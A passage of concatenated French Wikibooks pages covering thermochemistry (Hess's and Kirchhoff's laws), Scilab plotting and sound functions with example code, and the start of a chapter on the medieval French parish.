:CH<sub>3</sub>COOH<sub>(l)</sub> + 2O<sub>2 (g)</sub> → 2C<sub>(graphite)</sub> + 2H<sub>2 (g)</sub> + 3O<sub>2 (g)</sub> (1) :2C<sub>(graphite)</sub> + 2H<sub>2 (g)</sub> + 3O<sub>2 (g)</sub> → 2CO<sub>2 (g)</sub> + 2H<sub>2</sub>O<sub>(l)</sub> (2) Ce qui s'écrit encore: :CH<sub>3</sub>COOH<sub>(l)</sub> → 2C<sub>(graphite)</sub> + 2H<sub>2 (g)</sub> + O<sub>2 (g)</sub> (1) :2C<sub>(graphite)</sub> + 2H<sub>2 (g)</sub> + 3O<sub>2 (g)</sub> → 2CO<sub>2 (g)</sub> + 2H<sub>2</sub>O<sub>(l)</sub> (2) On peut, de plus, décomposer (2) en deux réactions (2') et (2") :2C<sub>(graphite)</sub> + O<sub>2 (g)</sub> → 2CO<sub>2 (g)</sub> (2') :2H<sub>2 (g)</sub> + O<sub>2 (g)</sub> → 2H<sub>2</sub>O<sub>(l)</sub> (2") On peut donc voir (0) comme étant la succession de (1) puis (2')+(2"). Comme l'enthalipie ne dépend pas du chemin suivi, on peut écrire: :<math>\Delta_{r} \overline{H}^0_{298}(0) = \Delta_{r} \overline{H}^0_{298}(1) + \Delta_{r} \overline{H}^0_{298}(2) = \Delta_{r} \overline{H}^0_{298}(1) + \Delta_{r} \overline{H}^0_{298}(2') + \Delta_{r} \overline{H}^0_{298}(2'')\,</math> Or, on peut remarquer que (1) est l'exact opposé de la réaction de formation de CH<sub>3</sub>COOH, (2') la formation de deux moles de CO<sub>2</sub> et (2") la formation de deux moles de H<sub>2</sub>O. On a donc: :<math>\Delta_{r} \overline{H}^0_{298}(1) = -\Delta_{f} \overline{H}^0_{298}(CH_3COOH)\,</math> :<math>\Delta_{r} \overline{H}^0_{298}(2') = \Delta_{f} H^0_{298}(2CO_2) = 2\Delta_{f} \overline{H}^0_{298}(CO_2)\,</math> :<math>\Delta_{r} \overline{H}^0_{298}(2'') = \Delta_{f} H^0_{298}(2H_2O) = 2\Delta_{f} \overline{H}^0_{298}(H_2O)\,</math> On en déduit finalement que :<math>\Delta_{r} \overline{H}^0_{298} = -\Delta_{f} \overline{H}^0_{298}(CH_3COOH) + 2\Delta_{f} \overline{H}^0_{298}(CO_2) + 2\Delta_{f} \overline{H}^0_{298}(H_2O)\,</math> De manière générale, on peut écrire: :<math>\Delta_{r} \overline{H}^0_{T} = \sum_i{\nu_i\Delta_{f} \overline{H}^0_{T}(A_i)}\,</math>, où: ::<math>\Delta_{f} \overline{H}^0_{T}(A_i)</math> est l'enthalpie standard molaire de formation du composé <math>A_i\,</math> à la températeur T; ::<math>\nu_i\,</math> est le coefficient stoechimoétrique du composé <math>A_i\,</math>, négatif dans le cas d'un réactifs, positif dans le cas d'un produit. == Loi de Kirchhoff == La loi de Kirchhoff permet de calculer l'enthalphie standard de réaction à la température T<sub>1</sub>, connaissant l'enthalphie standard de réaction à la température T. Pour cela, on dit que l'enthalpie de réaction à la température T<sub>1</sub> est équivalente selon deux chemins différents (car l'enthalpie est une fonction d'état): *Le chemin direct *Porter les réactifs à la température T, effectuer la réaction, puis porter les produits à la température T<sub>1</sub> Petits rappels: *Pour une transformation isochore <math>dV = 0\,</math>, d'où <math>\delta Q = c_v dT + l dP = c_v dT\,</math> *Pour une transformation isobare <math>dP = 0\,</math>, d'où <math>\delta Q = c_p dT + h dP = c_p dT\,</math> Avec <math>c_v = \frac{\partial U}{\partial T}\,</math> et <math>c_p = \frac{\partial H}{\partial T}\,</math> On se place dans le cas d'une transformation isobare. On a alors: :<math>dH = \delta Q = c_pdT\,</math> Alors l'enthalpie pour porter les réactifs de T<sub>1</sub> à T vaut: :<math>\Delta H_1 = \int_{T_1}^T{c_p(reactifs)dT}\,</math> Et l'enthalpie pour porter les produits de T à T<sub>1</sub> vaut: :<math>\Delta H_1 = \int_T^{T_1}{c_p(produits)dT}\,</math> On a donc: <math>\Delta_{r} H^0_{T_1} = \Delta_{r} H^0_{T} + \int_T^{T_1}{(c_p(produits) - c_p(reactifs))dT}\,</math> Avec: :<math>c_p(reactifs) = \sum_{reactifs}\nu_i \overline{c_{p_i}}\,</math> :<math>c_p(produits) = \sum_{produits}\nu_i \overline{c_{p_i}}\,</math> Dans le cas d'une transformation isochore, on a en fait: :<math>dU = \delta Q = c_vdT\,</math> La loi de Kirchhoff portera alors sur l'énergie interne: :<math>\Delta_{r} U^0_{T_1} = \Delta_{r} U^0_{T} + \int_T^{T_1}{(c_v(produits) - c_v(reactifs))dT}\,</math> Notez que c<sub>p</sub> et c<sub>v</sub> peuvent dépendre de la température. === Exemple === La réaction de formation de l'eau liquide, de 0°C (273K) à 100°C (373 K) s'écrit: :H<sub>2 (g)</sub> + <math>\frac{1}{2}</math>O<sub>2 (g)</sub> → H<sub>2</sub>O<sub> (l)</sub> Dans les tables thermodynamiques, on trouve généralement l'enthalpie standard molaire de formation de l'eau liquide à 298K (25°C). Si on veut calculer l'enthalpie standard molaire de formation à 350K, la loi de Kirchoff nous dit que dans le cas d'une transformation isobare: :<math>\Delta_{f} \overline{H}^0_{350} = \Delta_{f} \overline{H}^0_{298} + \int_{298}^{350}(\overline{c_p}(H_2O) - \overline{c_p}(H_2) - \frac{1}{2}\overline{c_p}(O_2))dT\,</math> {{lienDePage|Thermodynamique|Machines thermiques|}} Découvrir Scilab Graphiques et sons 8477 46364 2006-06-28T14:19:54Z Cdang 1202 /* Voir aussi */ mise en forme {{Scilab}} <br :> <big><big><big>4. Graphiques</big></big></big> ---- == Tracé de fonction == === Tracé 2D === ==== En Coordonnées cartésiennes ==== Le tracé d’une fonction se fait en deux étapes # définir l’étendue de la variable abscisse et le pas, sous la forme d’un <font id="vecteur_domaine_trace_1">vecteur</font> ligne ou colonne, par exemple <br /><code>x = [''début'':''pas'':''fin'']</code>, ou <br /><code>x = <font id="linspace2">linspace(''début'', ''fin'', ''nombre_de_points'')</font>&nbsp;; # tracer la fonction avec la commande <br /><code><font id="plot2">plot(x, f(x))</font></code> <br />si ƒ est la fonction. On peut tracer simultanément plusieurs fonctions en les mettant dans une matrice, par exemple : <code>plot(x, [f1(x) f2(x) f3(x)])</code>. On note qu'en fait, ƒ(''x'') est elle-même un vecteur. On peut de manière générale définir un vecteur des valeurs de ''x'' et un vecteur des valeurs de ''y'', et la fonction <code>plot(x, y)</code> tracera le nuage de points (''x''(''i''&thinsp;),''y''(''i''&thinsp;)). Si ƒ est une fonction externe (par exemple définie avec <code><font id="deff3">deff</font></code> ou <code><font id="function3">function</font></code>, voir ''[[Découvrir Scilab Calcul numérique#deff2|Calcul numérique]]''), alors on peut tracer directement la fonction avec : <code><font id="fplot1">fplot2d(x, f)</font></code>. On peut aussi définir le vecteur ''y'' par : <code>y = <font id="feval3">feval(x, f)</font></code>, puis tracer avec : <code>plot(x,y)</code>. Les fonctions <code><font id="plot2di1">plot2d''i''</font></code>, utilisées à la place de <code>plot</code>, permettent de faire varier l’apparence générale du tracé&nbsp;: * <code>plot2d</code>&nbsp;: trait «&nbsp;normal&nbsp;»&nbsp;; identique à <code>plot</code>, mais permet l’utilisation de marqueurs pour les points (voir ci-après)&nbsp;; * <code>plot2d2</code>&nbsp;: trait en escalier&nbsp;; * <code>plot2d3</code>&nbsp;: tracé en barres&nbsp;; * <code>plot2d4</code>&nbsp;: tracé en «&nbsp;flèches&nbsp;» : les points adjacents sont reliés par une flèche&nbsp;; Ces fonctions <code>plot2d''i''</code> acceptent des arguments modifiant le tracé, sous la forme : <code>plot2d''i''(x, y, ''arguments'')</code>. Les arguments sont de la forme <code>''mot-clef'' = ''valeur''</code>, et sont séparés par des virgules. Pour placer des marqueurs, on utilise l’argument <code>style = ''n''</code> ou ''n'' est un entier positif ou négatif (par exemple <code>plot2d(x, y, style = 1)</code>)&nbsp;: * un nombre négatif remplace les points par des marqueurs (une étoile pour -10, des ronds pour -9, …, des petits points pour 0, la liste s'obtient en tapant la commande <font id="getsymbol1"><code>getsymbol</code></font>) et * un nombre positif indique un trait plein mais de <font id="couleur_2d1">couleur</font> déterminée (selon la carte de couleur définie, voir ci-après). L’argument <code>rect = [''xmin'', ''ymin'', ''xmax'', ''ymax'']</code> permet de limiter le tracé à la zone comprise dans le rectangle défini par les valeurs dans la matrice. [[Image:Scilab plot2d.png|thumb|Modes de tracé 2d]] ; Exemple clear; clf; x = [0:0.5:2*%pi]'; subplot(2,2,1) plot2d1(x,sin(x),rect=[0,-1,2*%pi,1]) xtitle('plot2d1') subplot(2,2,2) plot2d2(x,sin(x),rect=[0,-1,2*%pi,1]) xtitle('plot2d2') subplot(2,2,3) plot2d3(x,sin(x),rect=[0,-1,2*%pi,1]) xtitle('plot2d3') subplot(2,2,4) plot2d4(x,sin(x),rect=[0,-1,2*%pi,1]) xtitle('plot2d4') ==== En coordonnées polaires ==== La fonction <code><font id="polarplot1">polarplot</font></code> permet en tracé en coordonnées polaires. La fonction ''r''(''theta'') se trace par la commande : : <code>polarplot(''r'',''theta'')</code> où ''r'' et ''theta'' sont deux matrices de même dimension. === Carte d’un champ === Si ''x'' est un vecteur colonne de ''m'' éléments, ''y'' un vecteur colonne de ''n'' éléments et ''z'' une matrice ''m''×''n'', alors la fonction : <code><font id="grayplot1">grayplot(x, y, z)</font></code> va associer une couleur à chaque valeur de ''z'' et tracer une <font id="carte_couleurs1">carte de couleurs</font>, chaque point (''x''(''i''&thinsp;), ''y''(''j''&thinsp;)) ayant la couleur associée au coefficient ''z''(''i'', ''j''&thinsp;). Les niveaux de couleur sont indiqués par la fonction : <code><font id="xset1">xset('<font id="colormap1">colormap</font>', ''cmap'')</font></code> où ''cmap'' est une matrice de trois colonnes dont chaque ligne contient la couleur associée à un niveau, sous la forme RVB (les éléments de la matrice allant de 0 à 1). La première ligne de la matrice correspond au plus bas niveau, la dernière ligne au plus haut. Cette matrice peut être générée de manière autmatique par les fonctions <code>colormap</code>&nbsp;: : <code>graycolormap(''n'')</code>, où ''n'' est un entier, génère ''n'' niveaux de gris entre le noir et le blanc&nbsp;; : <code>jetcolormap(''n'')</code>, où ''n'' est un entier, génère ''n'' niveaux de couleur entre le bleu et le rouge&nbsp;; : <code>hotcolormap(''n'')</code>, où ''n'' est un entier, génère ''n'' niveaux de couleur entre le rouge et le jaune. On peut par exemple utiliser <code>xset('colormap',graycolormap(32))</code> pour avoir 32 niveaux de gris. On peut réaliser un dégradé du noir vers le rouge avec : <code>cmap = graycolormap(32); cmap(:, 2:3) = 0</code> ou avec : <code>r = [0:32 / 31:32]' / 32; cmap = [r zeros(32, 2)]</code> et un dégradé du bleu vers le blanc avec : <code>cmap = graycolormap(32); cmap(:, 2:3) = 1</code> ou avec : <code>r = [0:32 / 31:32]' / 32; cmap = [r ones(32, 2)]</code> Les niveaux de couleur sont également utilisés lorsque l’on trace plusieurs courbes sur le même graphique. Dans ce cas-là, des dégradés ne fournissent pas un contraste permettant de distinguer facilement des courbes voisines&nbsp;; on peut obtenir les niveaux de couleur par défaut avec <code>get(sdf(), 'color_map')</code>. On peut tracer des <font id="courbe_niveau1">courbes de niveau</font> avec la fonction : <code><font id="contour2d1">contour2d(x, y, z, ''n'')</font></code> où ''n'' est le nombre de niveaux que l’on veut voir figurer ; on peut aussi donner les valeurs des niveaux ''z''<sub>1</sub>, ''z''<sub>2</sub>, …, ''z<sub>n</sub>'' par un vecteur : <code>contour2d(x, y, z, [z1,z2,...,zn])</code> On peut également tracer un <font id="champ_vecteurs1">champ de vecteurs</font>. Pour cela, il faut une matrice ''vx'' ayant les composante selon ''x'' du champ de vecteur, une matrice ''vy'' ayant les composantes selon ''y'' de ce champ, et utiliser la fonction : <code><font id="champ1">champ(x, y, vx, vy)</font></code> le vecteur (''vx''(''i'',''j''&thinsp;),''vy''(''i'',''j''&thinsp;)) étant placé en (''x''(''i''&thinsp;), ''y''(''j''&thinsp;)). Avec la fonction <code>champ1</code>, les vecteurs tracés ont tous la même longueur, la norme du champ est indiquée par la <font id="couleur_vecteur1">couleur du vecteur</font>, suivant le principe exposé pour <code>grayplot</code>. === Tracé 3D === Scilab permet également le tracé de surfaces à trois dimensions (''x'', ''y'', ''z''). Si ''x'' est une matrice colonne de ''m'' éléments, ''y'' une matrice colonne de ''n'' éléments, et ''z'' une matrice ''m''×''n'', alors la fonction : <code><font id="plot3d1">plot3d(x, y, z)</font></code> va tracer la surface des points (''x''(''i''&thinsp;), ''y''(''j''&thinsp;), ''z''(''i'', ''j''&thinsp;)). S’il s’agit d’une surface représentatrice d’une fonction ƒ, on a : ''z''(''i'', ''j''&thinsp;) = ƒ(''x''(''i''&thinsp;), ''y''(''j''&thinsp;)). Si ƒ est une fonction «&nbsp;externe&nbsp;» (par exemple définie par <code><font id="deff4">deff</font></code> ou <code><font id="function4">function</font></code>, voir ''[[Découvrir Scilab Calcul numérique#deff2|Calcul numérique]]''), on peut définir ''z'' avec la fonction <code><font id="feval4">feval</font></code> (voir plus haut), ou bien utiliser <code><font id="fplot3d1">fplot3d(x, y, f)</font></code>. La fonction : <code><font id="param3d1">param3d(fx(t), fy(t), fz(t))</font></code> trace la courbe paramétrique&nbsp;; ''t'' est un vecteur contenant les valeurs successives du paramètre. Les fonctions <code>plot3d1</code>, <code>fplot3d1</code> et <code>param3d1</code> permettent d’utiliser des <font id="carte_couleurs2">niveaux de couleurs</font> pour indiquer la valeur de ''z''. L’utilisation est identique à celle de <code>plot3d</code>, mais les <font id="niveau_3d1">niveaux de couleur</font> sont indiqués par la fonction : <code><font id="xset2">xset('colormap', ''cmap'')</font></code> (voir ci-dessus). Le <font id="angle_vue1">point de vue</font> de la surface 3D est défini par deux angles en degrés, θ, rotation autour de l’axe des ''Z'', et α, rotation autour de l’axe des ''Y'' (angles d'Euler)&nbsp;: <code>plot3d(x, y, z, ''theta'', ''alpha'')</code>, <code>param3d(x, y, z, ''theta'', ''alpha'')</code>…&nbsp;; * <code>plot3d(x, y, z, 0, 0)</code> donne une vue de dessus, semblable aux cartes 2D, projection de la surface sur le plan ''XY'' selon l’axe ''Z''&nbsp;; * <code>plot3d(x, y, z, 90, 0)</code> donne une vue de face, projection de la surface sur le plan''XZ'' selon l’axe ''Y''&nbsp;; * <code>plot3d(x, y, z, 0, 90)</code> donne une vue de côté, projection de la surface sur le plan''YZ'' selon l’axe ''X''&nbsp;; * <code>plot3d(x, y, z, 45, 35.5)</code> est la vue par défaut, de type perspective isométrique. On peut également définir les <font id="axe_limite_3d1">limites des axes</font> avec le mot-clef <code>ebox</code> : * <code>plot3d(x, y, z, ebox=[xmin, xmax, ymin, ymax, zmin, zmax])</code> * <code>plot3d(x, y, z, theta, alpha, ebox=[xmin, xmax, ymin, ymax, zmin, zmax])</code> === Tracé de statistiques === Si ''x'' est un vecteur, la fonction <code>histplot(''n'', ''x'')</code>, ''n'' étant un entier, va découper l’intervalle de valeurs prises par les coefficients de ''x'' en ''n'' tranches d’égale largeur, et tracer l’histogramme de répartition des valeurs selon ces tranches. Si ''n'' est un vecteur dont les coefficients sont strictements croissants, les valeurs des coefficients de ''n'' servent à déterminer les tranches. Si ''x'' est une matrice, <code>hist3d(''x'')</code> trace un histogramme 3D tel que le parallélépipède situé en (''i'', ''j''&thinsp;) a pour hauteur ''x''(''i'', ''j''&thinsp;). Comme pour toutes les fonctions de tracé en trois dimension, on peut définir l’angle de vue avec θ et α. == Dessin == Il est possible de dessiner directement des figures géométriques sur le graphique. La fonction : <code><font id="xpoly1">xpoly(x,y,'lines',1)</font></code> permet de tracer un polygone fermé, <code>x</code> étant la liste des abscisses des sommets (sous la forme d'un vecteur ou d'une matrice) et <code>y</code> étant la liste des ordonnées des sommets (c'est une matrice de même dimension que <code>x</code>) ; la ligne relie les points (''x''(''i''&thinsp;), ''y''(''i''&thinsp;)). La fonction : <code>xfpoly(x,y,'lines',1)</code> permet de tracer un polygone rempli. La fonction : <code><font id="xrect1">xrect(x,y,l,h)</font></code> trace un rectangle dont le point en haut à gauche est (''x'', ''y''), de largeur ''l'' et de hauteur ''h''. La fonction : <code>xfrect(x,y,l,h)</code> trace un rectangle rempli. La fonction : <code><font id="xstring1"> xstring(''x'', ''y'', <nowiki>'</nowiki>''chaîne''<nowiki>'</nowiki>)</font></code> écrit la chaîne de caractère ''chaîne'' sur le graphique, le point en bas à gauche du texte étant au point (''x'',''y''). Cela permet par exemple de placer une étiquette ''(label)'' sur le graphique. La fonction : <code><font id="xarc1">xarc(x,y,l,h,a1,a2)</font></code> trace un arc d'ellipse compris dans le rectangle dont le point en haut à gauche est (''x'', ''y''), de largeur ''l'' et de hauteur ''h''. Chaque degré d'angle est divisé en 64 secteurs, l'arc part de l'angle trigonométrique ''a1''×64 ° et va jusqu'à l'angle (''a1''+''a2'')×64 °. Pour tracer une ellipse entière, il faut donc entrer : : <code><font id="xarc1">xarc(x,y,l,h,0,360*64)</font></code> La fonction : <code>xfarc(x,y,l,h,a1,a2)</code> trace un arc d'ellipse rempli. Pour changer les <font id="style_trait1">propriétés des traits</font> des dessins, il faut utiliser la commande : <code><font id="set1">set(<nowiki>'</nowiki>''propriété''<nowiki>'</nowiki>, ''valeur'')</font></code>. Les principales propriétés d'un objet sont : * <code>line_style</code> : type de trait ; c'est un entier, 0 pour un trait plein, 2 pour des pointillés longs, 3 pour des pointillés courts, 4 pour un trait d'axe (alternance trait-point)… * <code>thickness</code> : épaisseur du trait, sous la forme d'un entier positif ; * <code>mark_size</code> : dans le cas d'un tracé par marqueurs, taille des marqueurs. On peut aussi associer une variable à l'élément dessiné ; cela se fait avec la fonction : <code>''variable'' = <font id="get1">get('hdl')</font></code> <code>hdl</code> signifiant ''handle'' (littéralement « poignée », intermédiaire d'action). Pour définir la propriété de cet élément, on fait : <code>''variable''.''propriété'' = ''valeur</code> Ces deux méthodes sont valables quelque soit l'objet (courbe, polygone, arc d'ellipse…). Par exemple xarc(0,1,0.5,0.5,0,360*64) // ellipse set('line_style',2) // pointillés ou bien xarc(0,1,0.5,0.5,0,360*64) // ellipse a=get('hdl') a.line_style=2 // pointillés == Mise en forme, axes et fenêtrage == === Paramètres de la fonction plot2d === Dans un tracé 2D, le format des axes peut se définir avec des arguments des fonctions <code>plot2d''i''</code>. ---- ; Rappel : les arguments se placent après les vecteurs de valeurs : <code>plot2d''i''(x, y, ''arguments'')</code>. ---- On peut choisir le <font id="axe1">type d’axe</font> avec l’argument <code>axesflag=''n''</code> où ''n'' est un entier positif&nbsp;: * 0 pour ne pas avoir d’axe, * 1 pour des axes «&nbsp;classiques&nbsp;» se recoupant en bas à droite, * 4 pour des axes «&nbsp;classiques&nbsp;» se coupant au centre, * 5 pour des axes se coupant en (0, 0)… On peut définir le <font id="axe_graduations1">nombre de graduations</font> et de sous-graduations des axes avec l’argument <code>nax = [''nx'', ''Nx'', ''ny'', ''Ny'']</code> où ''Nx'' est le nombre de graduations de l’axe ''x'', ''nx'' le nombre de sous-graduations… Pour une <font id="echelle_log1">échelle logarithmique</font>, on utilise l’argument <code>logflag = ''type''</code> où ''type'' est une chaîne de deux caractères, «&nbsp;n&nbsp;» (pour normal) ou «&nbsp;l&nbsp;» (pour logarithmique), le premier caractère correspondant à l’axe des ''x'' et le second à l’axe des ''y''. Par exemple * <code>plot2d(x, y, logflag = 'nl')</code> pour un axe des ''x'' linéaire et un axe des ''y'' logarithmique&nbsp;; * <code>plot2d(x, y, logflag = 'll')</code> pour avoir deux échelles logarithmiques. [[Image:Scilab plot2d avec symboles et legendes.png|thumb|Deux tracés superposés, l'un avec des styles positifs (traits pleins en couleur), l'autre avec des styles négatifs (marqueurs)]] Si le tracé comporte plusieurs courbes (donc mis dans une matrice ligne ''Y''), l’argument <code>style</code> est une matrice, la valeur de chaque élément indiquant le style de chaque courbe, par exemple : <code>Y = [cos(x), sin(x)]; plot2d(x, Y, style = [-2, -1])</code> Dans ce cas-là, on peut inscrire une <font id="legende1">légende</font> sous le graphique pour chaque symbole, avec l’argument <code>leg = (<nowiki>'</nowiki>''texte1''@''texte2''<nowiki>'</nowiki>)</code>, l’arobase « @ » servant à séparer les légendes, par exemple : <code>plot2d(x, Y, style = [-2, -1], leg = 'cosinus@sinus')</code> === Autres fonctions === En tracé 2D, la fonction <code><font id="xgrid1">xgrid</font></code> permet d’afficher une grille correspondant aux graduations. La fonction <code><font id="xset3">xset</font></code> permet de définir l’apparence&nbsp;: * police des graduations et titres&nbsp;: <code>xset('font', ''type'', ''taille'')</code>, où ** ''taille'' est un nombre désignant la taille des catactères, en unité arbitraire&nbsp;; ** ''type'' est un nombre désignant le type de police&nbsp;: 1 pour les lettres grecques (police Symbol), 2–5 pour une police avec empattements type Times (2 pour des lettre romanes, 3 en italique, 4 en gras, 5 en gras italique)&nbsp;; 6–9 pour une police sans empattement type Arial (6 pour des lettres romaines, 7 en italique, 8 en gras, 9 en gras italique)&nbsp;; * épaisseur des traits d’axe et du tracé&nbsp;: <code>xset('thickness', ''e'')</code> où ''e'' est un nombre désignant l’épaisseur en unité arbitraire&nbsp;; * taille des marqueurs (le cas échéant, voir ci-après) avec <code>xset('mark size', ''taille'')</code>. Comme pour tous les objets graphiques, on peut changer les propriétés des axes en les affectant à une variable par la commande <code><font id="get2">''var''=get('current_axes')</font></code>. Les principales propriétés sont : * <code>x_location</code> et <code>y_location</code> : prennent les valeurs <code>'top'</code>, <code>'middle'</code> ou <code>'bottom'</code> selon que l'on veut que l'axe soit en haut, passe par l'origine, ou soit en bas ; * <code>isoview</code> : vaut <code>'on'</code> si l'on veut que les échelles soient identiques sur les axes, <code>'off'</code> si l'échelle est libre ; * <code>sub_ticks</code> : matrice <code>[''nx'',''ny'']</code> où ''nx'' et ''ny'' est le nombr ede sous-graduation (il faut 4 sous-graduations pour que la graduation principale soit divisée en 5). ; Exemple a=get('current_axes') a.x_location='middle' a.y_location='middle' a.isoview='on' a.sub_ticks=[4,4] On peut placer plusieurs tracés côte-à-côte avec l’instruction <code><font id="subplot1">subplot</font></code>&nbsp;: : <code>subplot(''m'', ''n'', ''i'')</code> place le tracé qui suit l’instruction dans la ''i''<sup>&thinsp;e</sup> case (dans l’ordre de lecture européen) d’un tableau ''m''×''n''&nbsp;; le tracé peut comporter plusieurs instructions <code>plot</code>, <code>xset</code>, <code>xtitle</code>. <font id="legende2">La fonction</font> : <code><font id="xtitle1">xtitle(<nowiki>'</nowiki>''nom du graphique''<nowiki>'</nowiki>,<nowiki>'</nowiki>''axe des x''<nowiki>'</nowiki>, <nowiki>'</nowiki>''axe des y''<nowiki>'</nowiki>)</font></code> met un <font id="titre1">titre</font> au graphique et aux <font id="titre_axe1">axe</font>. La fonction : <code><font id="titlepage1">titlepage(<nowiki>'</nowiki>''titre''<nowiki>'</nowiki>)</font></code> met un titre au milieu du graphique. La fonction : <code><font id="clf2">clf</font></code> efface la fenêtre graphique. == Exemple == [[Image:Scilab exemple 3d 2.png|thumb|Exemple de graphique obtenu avec Scilab]] Voici le graphique que l’on obtient avec les instructions ci-dessous. clear; clf; &nbsp; deff('[z] = f(x, y)', 'z = sin(x) * cos(y)') &nbsp; xset('colormap', jetcolormap(32)) &nbsp; x = %pi * [-1:0.05:1]'; y = x; z = feval(x, y, f); &nbsp; subplot(2, 2, 1) grayplot(x, y, z) &nbsp; subplot(2, 2, 2) contour2d(x, y, z, 5) &nbsp; subplot(2, 2, 3) plot3d1(x, y, z, 0, 90) &nbsp; subplot(2, 2, 4) plot3d1(x, y, z, 70, 70) == Sons == Scilab peut générer ou analyser des <font id="son1">sons</font>. Il peut même lire et écrire des fichiers .WAV (voir ''[[Découvrir Scilab Gestion des fichiers#wav1|Gestion des fichiers]]''). Un son est en fait un vecteur dont les valeurs sont comprises entre -1 et 1 ; les valeurs hors de cet interval sont ignorées (phénomène d'écrêtage). Si ƒ<sub>''s''</sub> est la fréquence d'échantillonage en hertz, alors le pas d'échantillonage est 1/ƒ<sub>''s''</sub>. L'instruction <code><font id="soundsec1">soundsec</font></code> permet de générer un vecteur correspondant au pas d'échantillonnage : t=soundsec(n, fs) où ''n'' est le nombre de secondes et ƒ<sub>''s''</sub> est la fréquence. Si l'on omet ƒ<sub>''s''</sub>, Scilab prend la valeur 22&nbsp;050. Si l'on a défini la fonction de son ''s'' (pression relative de l'air/tension d'alimentation normée du haut-parleur en fonction du temps), alors on peut générer un vecteur de valeurs ''u'' : u = s(t) et jouer le son sound(u, fs) L'instruction <code><font id="analyze1">analyze</font></code> détermine le spectre sonore du son et trace le graphique. analyze(s) == Voir aussi == ; Dans Wikipédia * [[w:Angle|Angle]] ** [[w:Angles d'Euler|Angles d'Euler]] * [[w:Arobase|Arobase]] * [[w:Coordonnées polaires|Coordonnées polaires]] * [[w:Échelle logarithmique|Échelle logarithmique]] * [[w:Ellipse (mathématiques)|Ellipse]] * [[w:Perspective isométrique|Perspective isométrique]] * [[w:Police d'écriture|Police d'écriture]] ** [[w:Arial|Arial]] ** [[w:Empattement|Empattement]] ** [[w:Times|Times]] * [[w:Polygone|Polygone]] * [[w:RVB|RVB]] * [[w:Son (physique)|Son]] * [[w:WAVEform audio format|WAVEform audio format]] == Notes == <references /> ---- ''[[Découvrir Scilab Calcul numérique|Calcul numérique]]'' &lt; [[Découvrir Scilab|↑]] &gt; ''[[Découvrir Scilab Programmation|Programmation]]'' Histoire de la France médiévale:chapitre 6 8483 44089 2006-06-07T13:09:27Z Urban 886 /* Introduction */ La France chrétienne =Introduction= La société médiévale se définit et se confond avec l'Eglise et la chrétienté. La liberté religieuse, telle qu'on l'entend aujourd'hui, n'existe pas pour les Hommes du Moyen Âge : au XIII{{e}} siècle, on naît chrétien, puisque le baptême est administré peu de temps après la naissance de l'enfant. Le mot "Église" (du grec ''ecclesia'' qui signifie assemblée) renvoie à partir du XII{{e}} siècle à l'institution cléricale hiérarchisée. La "Chrétienté" rassemble l'ensemble des fidèles. L'Église dispose d'un pouvoir considérable : elle peut interdire l'accès des croyants au Paradis par l'excommunication. Ainsi, le pape peut condamner le roi de France. Elle connaît un processus de centralisation à partir du XI{{e}} siècle qui fait du pape le chef de millions d'âmes : à la fin du XI{{e}} siècle, Urbain II lance un appel à la croisade qui sera entendu au quatre coins de l'Occident. Le clergé détient le monopole de la culture et de l'enseignement. Les grandes abbayes disposent de revenus importants et les évêques font sortir de terre des cathédrales aux dimensions exceptionnelles. =L'encadrement religieux : la paroisse en France= ==Sources== *Les canons des conciles œcuméniques et les statuts des synodes donnent un aperçu normatif sur la vie paroissiale : les conciles de Latran insistent sur l'obligation de rigueur morale du clergé et des fidèles. *Les registres des visites pastorales des évêques ; les évêques doivent rendre visite aux curés de leur diocèse afin de contrôler leur activité : ils inspectent les revenus de la paroisse, l’état des bâtiments et du mobilier liturgique. Nous conservons des comptes-rendus de ces tournées. L'un des plus intéressants est celui d’Eudes Rigaud, archevêque de Rouen entre 1247 et 1276. *Les comptes de fabrique, conservés à partir du XII{{e}} siècle. La fabrique est une institution chargée de gérer les bâtiments et le mobilier de la paroisse. *Les registres de l’officialité consignent les décisions relevant de la justice de l’Église, confiée à l’évêque puis, à la fin du XIIe siècle, à un clerc de son entourage, l’official. Celui-ci peut prononcer des peines spirituelles (excommunication, censure …), administratives ou civiles. ==Définition== La paroisse (du latin ''parochia'') définit un cadre d’organisation locale pour la communauté des fidèles. Il s’agit d’un territoire dont les limites sont parfois floues pour les Hommes du Moyen Âge. Ce territoire est confié à un desservant, le curé (N.B. que le mot « curé » n’apparaît dans les sources qu’au milieu du XIII{{e}} siècle<ref>Michel Aubrun, ''La paroisse en France'', p. 138</ref>). Dans la hiérarchie ecclésiale, la paroisse appartient à un diocèse et se trouve sous l’autorité d’un évêque. Plusieurs diocèses forment une province ecclésiastique. La paroisse se met en place à partir du VI{{e}} siècle<ref>Claude Gauvard (dir.), ''Dictionnaire du Moyen Âge'', p. 1049</ref> et se diffuse parallèlement à l’évangélisation progressive de l’Occident. La paroisse est aussi une communauté de fidèles qui se retrouve dans l’église et qui doit payer la dîme depuis le VIII{{e}} siècle. ==Évolution de la paroisse en France== ===Haut Moyen Âge=== Les temps mérovingien et carolingien sont marqués par une volonté de christianisation des campagnes qui doit s'appuyer sur l’encadrement paroissial. La paroisse est adaptée au caractère rural de cette époque. Les pratiques païennes survivent dans les campagnes occidentales. L’église de l’évêque (la cathédrale) est le principal foyer de la vraie foi. Elle est le lieu où le fidèle reçoit le sacrement du baptême. Les Carolingiens ont voulu faire de la paroisse un instrument de christianisation de la société. L’évêque est alors chargé de contrôler la vie religieuse des paroisses. ===Le temps des seigneurs=== Du IX{{e}} au XI{{e}} siècle, l’église paroissiale et son cimetière offrent un refuge dans le contexte troublé de l’anarchie féodale. Cette période est marquée par une forte intrusion des seigneurs laïcs dans la nomination du desservant et dans la répartition des revenus. Les familles puissantes fondent des oratoires, des chapelles et des églises par souci de prestige et par intérêt personnel. Cela donne lieu à des paroisses aux limites arbitraires, coutumières et artificielles, souvent de petite taille. On assiste donc à une multiplication des paroisses. On peut distinguer trois types de fondations : *les fondations d’origine féodale (lieux de culte dans la basse-cour ou le donjon du château fort). Elles sont devenues par la suite des églises paroissiales. *les fondations d’origine priorale : le développement des ordres monastiques entraîne l’installation de moines dans une église privée. Ces fondations avaient pour but de faciliter la gestion du patrimoine ecclésiastique, notamment sur les terres viticoles. *les fondations liées aux défrichements ; le recul de la forêt permet la mise en valeur de nouveaux terroirs et d’augmenter les revenus de la dîme. Les dîmes perçues sur les terres défrichées s’appellent les dîmes novales (par opposition aux dîmes anciennes). En échange de la construction d’une nouvelle église, le seigneur exige : *D’être inhumé dans l’église, malgré les interdictions canoniales. Le seigneur et sa famille disposent d’une place réservée dans l'édifice pour assister aux offices : ce privilège est aboli par la Révolution française. *La fondation de messes pour son salut (« rentes-prières 